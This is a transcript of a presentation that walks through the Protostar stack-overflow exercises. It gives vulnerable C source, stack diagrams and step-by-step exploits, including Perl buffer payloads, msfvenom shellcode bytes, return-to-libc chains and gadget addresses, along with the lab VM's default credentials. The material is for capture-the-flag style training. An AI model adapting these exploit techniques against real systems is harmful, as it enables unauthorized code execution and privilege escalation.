Post on 26-May-2015
description
transcript
Exploit-Exercises.comStack Overflows
Spenser Reinhardt
What Is A Buffer Overflow?
A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them.
Tools In Use
Perl – Inline perl expressions, either using $( expression ) or expression | program, depending on the need. Used to quickly
GDB – GNU Debugger, allows debugging of applications, inspecting of live variables, memory, and registers. Crash dumps know as core files can also be analyzed in the same manors.
Metasploit Console: In ../msf/toolsPattern_Create.rb – Creates a specialized pattern that can be used to identify how many bytes into a buffer important locations are such as EIP or variables
Pattern_Offset.rb – Based on a small subset of bytes returned from overflowed buffers filled with patterns from pattern_create, this locates how far into the buffer the bytes that returned are.
Venom – Creates shellcode, with the ability to change function, and encode shellcode to avoid bad characters and detection.
Preparing Protostar
In virtual console windowLogin
User: root Pass: godmode
Get an IPdhclient & ifconfig | grep “inet addr”
Preparing Protostar Cont.
Loginssh user@[IP]Pass: user
Unlimit core dumpsulimit -c unlimitedulimit -a | grep core
Change to bash shell/bin/bash
Change to binary dircd /opt/protostar/bin/
Level 0(Source)
int main(int argc, char **argv) {volatile int modified;char buffer[64];
modified = 0;gets(buffer);
if(modified != 0) {printf("you have changed the 'modified' variable\n");
} else {printf("Try again?\n");
}}
Level 0(Diagram)
The Stack
Previous Stack Frames
Contains previous EIP & ESP
Int modified = 0
Char buffer = 64 bytes
Uninitalized stack space
Level 0(Solution)
/opt/protostar/bin$ ./stack0 testTry again?
/opt/protostar/bin$ perl -e 'print "a"x68' | ./stack0you have changed the 'modified' variable
Level 1(source)
int main(int argc, char **argv) {volatile int modified;char buffer[64];
if(argc == 1) {errx(1, "please specify an argument\n");
}
modified = 0;strcpy(buffer, argv[1]);
if(modified == 0x61626364) {printf("you have correctly got the variable to the right value\n");
} else {printf("Try again, you got 0x%08x\n", modified);
}}
Level 1(Diagram)
Previous Stack Frames
Contains previous EIP & ESP
Int modified = 0Modified == 0x61626364
Char buffer = 64 bytes
Uninitalized stack space
The Stack
Level 1(Solution)
./stack1 testTry again, you got 0x00000000
./stack1 $(perl -e 'print "a"x70')Try again, you got 0x61616161
./pattern_create.rb 70[MSF Pattern]
./stack1 [MSF Pattern]Try again, you got 0x63413163
./pattern_offset.rb 63413163 = 64 bytes ./stack1 $(perl -e 'print "a"x64 . "\x64\x63\x62\x61\n\r"')
you have correctly got the variable to the right value
Level 2(Source)
int main(int argc, char **argv) {volatile int modified;char buffer[64];char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {printf("you have correctly modified the variable\n");
} else {printf("Try again, you got 0x%08x\n", modified);
}}
Level 2(Diagram)
Previous Stack Frames
Contains previous EIP & ESP
Int modified = 0Modified == 0x0d0a0d0a
Char buffer = 64 bytes
Uninitalized stack space
Char *variable
The Stack
Level 2(Solution)
./stack2stack2: please set the GREENIE environment variable
export GREENIE=$(perl -e 'print "a"x80')./stack2 Try again, you got 0x61616161
./pattern_create.rb 70[MSF Pattern]
export GREENIE=[MSF locator string]./stack2
Try again, you got 0x63413163
./pattern_offset.rb 63413163 = 64 bytes
export GREENIE=$(perl -e 'print "a"x64 . "\x0a\x0d\x0a\x0d\n\r"')./stack2
you have correctly modified the variable
Level 3(Source)
void win() {printf("code flow successfully changed\n");
}
int main(int argc, char **argv) {volatile int (*fp)();char buffer[64];
fp = 0;
gets(buffer);
if(fp) {printf("calling function pointer, jumping to 0x%08x\n", fp);fp();
}}
Level 3(Diagram)
Previous Stack Frames
Contains previous EIP & ESP
Int fp = 0Must point to win()Win() = 0x08048424
Char buffer = 64 bytes
Uninitalizedstack space
void win() {printf("code flow successfully changed\n");
}fp = 0;gets(buffer);if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);fp();}
}
The Stack
Level 3(Solution)
./stack3 Test
perl -e 'print "a"x80' | ./stack3calling function pointer, jumping to 0x61616161
Segmentation fault
./pattern_create.rb 70[MSF Pattern]
./stack3 - [MSF Pattern]calling function pointer, jumping to 0x63413163
./pattern_offset.rb 63413163 = 64 bytes
objdump -d ./stack3 | grep win08048424 <win>
perl -e 'print "a"x64 . "\x24\x84\x04\x08\n\r"' | ./stack3calling function pointer, jumping to 0x08048424code flow successfully changed
Level 4(Source)
void win() {printf("code flow successfully changed\n");
}
int main(int argc, char **argv) {char buffer[64];gets(buffer);
}
Level 4(Diagram)
Previous Stack Frames
Contains previous EIP & ESPEIP must point to win()Win() = 0x080483f4
Char buffer = 64 bytes
Uninitalizedstack space
void win() {printf("code flow successfully changed\n");
}
fp = 0;gets(buffer);if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);fp();}
}
The Stack
Level 4(Solution)
./stack4 Test
perl -e 'print "a"x80' | ./stack4Segmentation fault
./pattern_create.rb 70[MSF Pattern]
Gdb –quiet ./stack4Run - [MSF Pattern]
Program received signal SIGSEGV, Segmentation fault.0x63413563 in ?? ()
./pattern_offset.rb 63413563 = 76 bytes
objdump -d ./stack4 | grep win080483f4 <win>
perl -e 'print "a"x76 . "\xf4\x83\x04\x08"' | ./stack4code flow successfully changedSegmentation fault
Level 5(Source)
int main(int argc, char **argv) {
char buffer[64];
gets(buffer);}
Level 5(Diagram)
Previous Stack Frames
Contains previous EIP & ESPOverwritten with nop sled andShellcode.Current EIP – must be overwrittento point to our shellcode
EIP = 0x08048424Char buffer = 76 bytes
Uninitalizedstack space
int main(int argc, char **argv) {
char buffer[64];
gets(buffer);}
The Stack
Level 5(Solution 1)
perl -e 'print "a"x80' | ./stack5Segmentation fault
./pattern_create.rb 80[MSF Pattern]
Gdb –-quiet ./stack5
run [MSF Pattern]Program received signal SIGSEGV, Segmentation fault.0x63413563 in ?? ()
(gdb) x $esp0xbffff7c0
./pattern_offset.rb 63413563 = 76 bytes Location of EIP = 0xbffff760 + 76h = 0xbffff7d6
Level 5(Solution 2)
msfvenom -p linux/x86/exec -f pl -b '\x00\xff' CMD=/bin/bash PrependSet resuid=true = ~70bytes
perl -e 'print "a"x76 . "\xc0\xf7\xff\xbf" . "\x90"x16 . "\xdb\xd3\xd9\x74\x24\xf4\x5d\xbb\x62\x1a\xd1\xfe\x2b\xc9\xb1\x0b\x83\xed\xfc\x31\x5d\x16\x03\x5d\x16\xe2\x97\x70\xda\xa6\xce\xd7\xba\x3e\xdd\xb4\xcb\x58\x75\x14\xbf\xce\x85\x02\x10\x6d\xec\xbc\xe7\x92\xbc\xa8\xf0\x54\x40\x29\x2e\x37\x29\x47\x1f\xc4\xc1\x97\x08\x79\x98\x79\x7b\xfd"' | ./stack5
Result: Program exits cleanly without executing a shell.
Reason: /bin/dash has issues with the incoming stdin from the original Program. It must check for this issue and close automatically. ThisIs due to the gets() function being used.
More Details: StackOverflow.com
Level 5(Solution 3)
msfvenom -p linux/x86/exec -f pl -b '\xco\x04\x00\xff' CMD='touch /tmp/touch' PrependSet resuid=true
perl -e 'print "a"x76 . "\xc0\xf7\xff\xbf" . "\x90"x16 . "\xda\xd0\xbb\x78\xe4\x7a\x44\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x0e\x31\x58\x17\x83\xc0\x04\x03\x20\xf7\x98\xb1\xba\xfc\x04\xa3\x68\x65\xdd\xfe\xef\xe0\xfa\x69\xc0\x81\x6c\x6a\x76\x49\x0f\x03\xe8\x1c\x2c\x81\x1c\x0f\xb3\x26\xdc\x44\xdc\x53\xbf\xcc\x02\xb3\x4b\x60\x33\xe4\xc7\x15\xc6\x99\x4f\xea\x7f\x0d\x06\x0b\xb2\x31"' | ./stack5
user@protostar:/opt/protostar/bin$ ls /tmp/touch
Local shell code for gets() - http://www.exploit-db.com/exploits/13357/
Level 6(Source)
void getpath(){ char buffer[64]; unsigned int ret;printf("input path please: "); fflush(stdout);gets(buffer);ret = __builtin_return_address(0);if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);_exit(1);
} printf("got path %s\n", buffer);}int main(int argc, char **argv {
getpath();}
Level 6(Diagram)
Uninitalizedstack space
The Stack
Previous Stack Frames
Char buffer = 64 bytes
Current EIP
Level 6(Diagram 2)
Uninitalizedstack space
The Stack
Char buffer = 64 bytes
Address of printf()Previously EIP
Address of execl()
Address of FORMATSTRING
Address of SHELLCODE
Address of SHELLCODE
This address
Level 6(Solution 1)
./pattern_create.rb 100[MSF Pattern]
Gdb –-quiet ./stack6RunInput path please:[MSF Pattern]got path [MSF Pattern]
Program received signal SIGSEGV, Segmentation fault.0x37634136 in ?? ()
./pattern_offset.rb 0x3763413680
msfvenom -p linux/x86/exec -f pl -b '\xco\x04\x00\xff' CMD='touch /tmp/touch' PrependSet resuid=true
[SHELLCODE] ~ 80 bytes
perl -e 'print "a"x80 . "\xf0\xf7\xff\xbf" . [SHELLCODE] | ./stack6input path please: bzzzt (0xbffff7f0)
Level 6(Solution 2)
gdb --quiet ./stack6(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.(gdb) run
Starting program: /opt/protostar/bin/stack6 Breakpoint 1, main (argc=1, argv=0xbffff864)
(gdb) print printf$1 = {<text variable, no debug info>} 0xb7eddf90 <__printf>
(gdb) print execl$2 = {<text variable, no debug info>} 0xb7f2e460 <*__GI_execl>
export FORMATSTRING=”%3\$n”export SHELLCODE=”/location/to/shellcodefile”
~/getenvaddr FORMATSTRING ./stack6FORMATSTRING will be at 0xbffff9a7
~/getenvaddr SHELLCODE ./stack6SHELLCODE will be at 0xbffff9b6
Level 6(Solution 3)
(Using altered stack6 binary)~/stackx
input path please: a0xbffff75cgot path a
gdb --quiet ~/stackx(gdb) break getpath
Breakpoint 1 at 0x804848a(gdb) run
Starting program: /home/user/stackx Breakpoint 1, 0x0804848a in getpath ()
(gdb) x/4000s $esp…0xbffff966: "/home/user/stackx"…0xbfffffea: "/home/user/stackx"
/home/user/stackx = 17 bytes/opt/protostar/bin/stack6 = 25 bytes
Difference of = 8 bytes
Shows twice in mem = 16 bytes total80 x “a” = 80 bytes20 for other addresses = 20 bytesStarting point of = 0xbffff75c
perl -e 'printf("0x%08x\n", 0xbffff75c + 20 + 80 + 16)'0Xbffff7d0
Level 6(Solution 4)
Level 6(Solution 5)
Printf = 0xB7EDDF90Execl = 0xB7F2E460$FORMATSTRING = 0xBFFFF9A8$SHELLCODE = 0xBFFFF9B6 End of buffer (here) = 0XBFFFF7D0
BUFFER (80)| printf | execl | FORMATSTRING| SHELLCODE | SHELLCODE | here
perl -e 'print "a"x80 . "\x90\xdf\xed\xb7" . "\x60\xe4\xf2\xb7" . "\xa8\xf9\xff\xbf" . "\xb6\xf9\xff\xbf"x2 . "\xd0\xf7\xff\xbf"' | ./stack6
Seg fault
Level 7(Source)
char *getpath(){ char buffer[64]; unsigned int ret;printf("input path please: "); fflush(stdout);gets(buffer);ret = __builtin_return_address(0);if((ret & 0xb0000000) == 0xb0000000{
printf("bzzzt (%p)\n", ret);_exit(1);
} printf("got path %s\n", buffer);
return strdup(buffer);}
int main(int argc, char **argv){ getpath();
}
Level 7(Diagram)
Contains EIP & ESP
Previous Stack Frames
Char buffer = 80 bytes
Uninitalized stack space
Char buffer = 80 bytes
Address of jmp, jmp, ret
Filler buffer = 8 bytes
Address of SHELLCODE
Level 7(Solution 1)
./pattern_create.rb 100[MSF Pattern]
gdb –-quiet ./stack7input path please: [MSF Pattern]
Program received signal SIGSEGV, Segmentation fault.0x37634136 in ?? ()
./pattern_offset.rb 0x3763413680
Level 7(Solution 2)
scp user@192.168.1.10:/opt/protostar/bin/stack7 ~/stack7
msfelfscan -j edx ~/stack7 [~/stack7]
msfelfscan -p ~/stack7 [~/stack7]0x08048492 pop ebx; pop ebp; ret0x080485c7 pop edi; pop ebp; ret0x080485f7 pop ebx; pop ebp; ret
Level 7(Solution 3)
perl -e 'print "a"x80 . "\x92\x84\x04\x08" . "c"x100' > /tmp/7-test
gdb --quiet ./stack7(gdb) run < /tmp/7-test
Program received signal SIGSEGV, Segmentation fault.0x63636363 in ?? ()
./pattern_create.rb 50[MSF Pattern]
perl -e 'print "a"x80 . "\x92\x84\x04\x08" . "[MSF Pattern]”’ > /tmp/7-test
gdb --quiet ./stack7(gdb) run < /tmp/7-test
Program received signal SIGSEGV, Segmentation fault.0x33614132 in ?? ()
Level 7(Solution 4)
./pattern_offset.rb 0x336141328
perl -e 'print "a"x80 . "\x92\x84\x04\x08" . "C"x8 . "D"x4' > /tmp/7-test
gdb --quiet ./stack7(gdb) run < /tmp/7-test Starting program: /opt/protostar/bin/stack7 < /tmp/7-test
Program received signal SIGSEGV, Segmentation fault.0x44444444 in ?? ()
msfvenom -p linux/x86/exec -f pl -b '\xco\x04\x00\xff' CMD='touch /tmp/touch' PrependSet resuid=true
[MSF Shellcode]
export SHELLCODE=`perl -e 'print “[MSF Shellcode]"'`
~/getenvaddr SHELLCODE ./stack7 SHELLCODE will be at 0xbffff960
Level 7(Solution 4)
perl -e 'print "a"x80 . "\x92\x84\x04\x08" . "C"x8 . "\x60\xf9\xff\xbf"' | ./stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa CCCCCCCC`�� �� ���
ls /tmp/touch
Questions?
Thanks!Exploit-exercises.com – Virtual machine creators
Mattandreko.com - Tutorials
Hacking: The Art of Exploitation – Jon Erickson